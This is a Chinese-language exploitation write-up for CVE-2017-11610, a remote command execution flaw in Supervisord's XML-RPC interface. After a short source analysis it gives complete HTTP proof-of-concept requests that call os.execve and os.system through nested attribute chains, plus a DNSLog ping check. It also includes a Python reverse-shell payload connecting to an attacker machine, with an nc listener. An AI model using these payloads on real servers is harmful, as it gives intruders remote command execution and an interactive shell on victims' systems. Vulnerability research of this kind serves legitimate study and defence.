0x00 漏洞概述
编号为CVE-2017-11610。
Supervisord是使用Python开发的进程管理程序,能够将命令行进程或服务变为后台运行的daemon(守护进程)。Supervisord拥有监控进程状态的能力,在进程异常退出时能够重新启动进程。
The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisord namespace lookups.
Supervisord在配置了Web接口后,服务器会启动一个XML-RPC服务器,端口为9001。在获取接口访问权限后,攻击者可以利用构造请求达成RCE。
影响版本:Supervisord < 3.0.1, 3.1.x < 3.1.4, 3.2.x < 3.2.4, 3.3.x < 3.3.3。
0x01 漏洞分析
配置
Supervisord的功能角色类似于Linux自带的Systemd。相比于Systemd,Supervisord有几个特点:
- 配置简单;
- 作为简单的第三方应用,不与系统产生耦合;
- 提供基于HTTP的API,支持远程操作。
Supervisord为C-S架构,Server以服务形式在系统后台运行,Client是一个命令行工具,根据用户需求调用API。
查看Supervisord的配置文件可知,默认情况下,Supervisord的Server端监听unix套接字unix:///tmp/supervisor.sock
,Client配置的serverurl
也是这个地址。
[unix_http_server]
file=/tmp/supervisor.sock ; the path to the socket file
;chmod=0700 ; socket file mode (default 0700)
;chown=nobody:nogroup ; socket file uid:gid owner
;username=user ; default is no username (open server)
;password=123 ; default is no password (open server)
;[inet_http_server] ; inet (TCP) server disabled by default
;port=127.0.0.1:9001 ; ip_address:port specifier, *:port for all iface
;username=user ; default is no username (open server)
;password=123 ; default is no password (open server)
[supervisorctl]
serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL for a unix socket
;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
;username=chris ; should be same as in [*_http_server] if set
;password=123 ; should be same as in [*_http_server] if set
;prompt=mysupervisor ; cmd line prompt (default "supervisor")
;history_file=~/.sc_history ; use readline history if available
Client去连接配置好的serverurl
,使用RPC协议进行通信。通过XML,将methodName
和params
传入服务端进行执行。如:
supervisorctl start [进程名]
此时start
指令会调用supervisor.startProcess
方法。
另外,如果设置了[inet_http_server]
这一段(上述配置中被注释),即可将Supervisord监听在TCP端口上,这样其它外部程序也可以调用,默认配置在9001端口。
源码
这个漏洞的本质是不安全的对象引用+方法调用,类似于Java反序列化漏洞的意味。
Supervisord就是C-S架构的基于RPC(远程过程调用协议)的通信过程,Client通过RPC调用Server的某个函数并得到返回结果,如果出现Server端策略外的调用(如os.system
)则导致RCE。
RPC出于安全考虑会设置函数映射,Client只能调用白名单中的部分函数,且函数名已经通过映射。
3.3.2版本中,如下处理RPC:
class supervisor_xmlrpc_handler(xmlrpc_handler):
...
def call(self, method, params):
return traverse(self.rpcinterface, method, params)
def traverse(ob, method, params):
path = method.split(‘.‘)
for name in path:
if name.startswith(‘_‘):
# security (don‘t allow things that start with an underscore to
# be called remotely)
raise RPCError(Faults.UNKNOWN_METHOD)
ob = getattr(ob, name, None)
if ob is None:
raise RPCError(Faults.UNKNOWN_METHOD)
try:
return ob(*params)
except TypeError:
raise RPCError(Faults.INCORRECT_PARAMETERS)
supervisor_xmlrpc_handler
类用于处理RPC请求,其中的call
方法才是真正执行远程调用的函数。call
中使用了traverse
,其函数逻辑是:
- 针对
method
,按点号分割存入数组path
; - 遍历数组,获得
name
,依据为是否以_
开头; - 如果不以
_
开头,则获取ob
对象的name
属性,作为新的ob
对象; - 遍历完成后获得最终的
ob
对象,对其调用。
这个函数的最终效果就是:初始输入的ob
对象下面的任意public方法,包括所有递归子对象的任意public方法,都可以被调用。
此处的ob
对象就是self.rpcinterface
,但是(猜测)开发人员认为调用范围被限制在了该对象内部,就并没有做严格的白名单。然而CVE-2017-11610的发现者却发现,在self.rpcinterface.supervisor.supervisord.options
对象下,存在方法execve
,相当于直接调用了系统的os.execve
,可以达成RCE了。
class ServerOptions(Options):
...
def execve(self, filename, argv, env):
return os.execve(filename, argv, env)
PoC
POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 439
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.execve</methodName>
<params>
<param>
<string>/usr/local/bin/python</string>
</param>
<param>
<array>
<data>
<value><string>python</string></value>
<value><string>-c</string></value>
<value><string>import os;os.system(‘touch /tmp/success‘);</string></value>
</data>
</array>
</param>
<param>
<struct>
</struct>
</param>
</params>
</methodCall>
漏洞发现者使用的调用链为self.rpcinterface.supervisor.supervisord.options.execve
,并基于此构造PoC。实际上这个原始PoC存在遗憾,因为Python的os.execve()
函数会使用新进程替代当前进程,导致Supervisord本身退出,也就没有权限维持。
如果使用Docker模拟靶机(或者生产环境真的使用了Docker),当基础进程Supervisord退出时,会导致整个Docker容器的退出,漏洞利用局限在了一次性的命令(如写文件)。
PoC改进
针对以上问题,通过发掘其它的调用链得以解决。存在supervisor.supervisord.options.warnings.linecache.os.system()
可以利用(寻找非下划线_
开头的属性中是否存在引入了os
模块的情况而得到的结果),linecache
具有更佳的利用条件。
构造PoC:
POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
PoC又一改进
在原先的self.rpcinterface.supervisor.supervisord.options
中,存在一个fork
方法是调用了系统的os.fork
函数。os.fork
的作用是在当前进程派生一个新的子进程。所以即使当前进程被意外终止,也不会导致整个Supervisord退出,因为派生进程还存活。
先构造新子进程:
POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.fork</methodName>
<params>
</params>
</methodCall>
然后发送最初版本的PoC即可。
0x02 利用流程
靶机:192.168.31.39,攻击机:192.168.31.197。
访问靶机
是一台版本3.3.2的Supervisord。
先行测试
针对无回显的机器,可以使用DNSLog进行初步验证。
POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>ping mcxx8o.dnslog.cn</string>
</param>
</params>
</methodCall>
确认漏洞可以利用。
反弹Shell
攻击机开启监听:
nc -lvp 6666
再次构造请求,写反弹Shell:
POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 425
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘192.168.31.197‘,6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash‘,‘-i‘]);"</string>
</param>
</params>
</methodCall>
一直处于请求状态说明执行成功,此时在攻击机就拿到了Shell:
0x03 补充
几个条件:
- 版本符合
- RPC可被访问
- RPC弱密码或无密码
漏洞利用的关键是RPC的访问权限。实际上,默认配置的Supervisord只监听unix套接字,外部IP根本无法访问,所以实际上利用条件很苛刻。另外,即使拿到了低权限,也无法通过访问本地unix套接字进行提权——supervisor.sock的默认权限为0700,其它用户无法访问且能够访问的用户具有相同权限,也就无从提权。
当然,能够遇到RPC配置疏忽,得以查看服务器文件,已经是很不错的攻击成果了。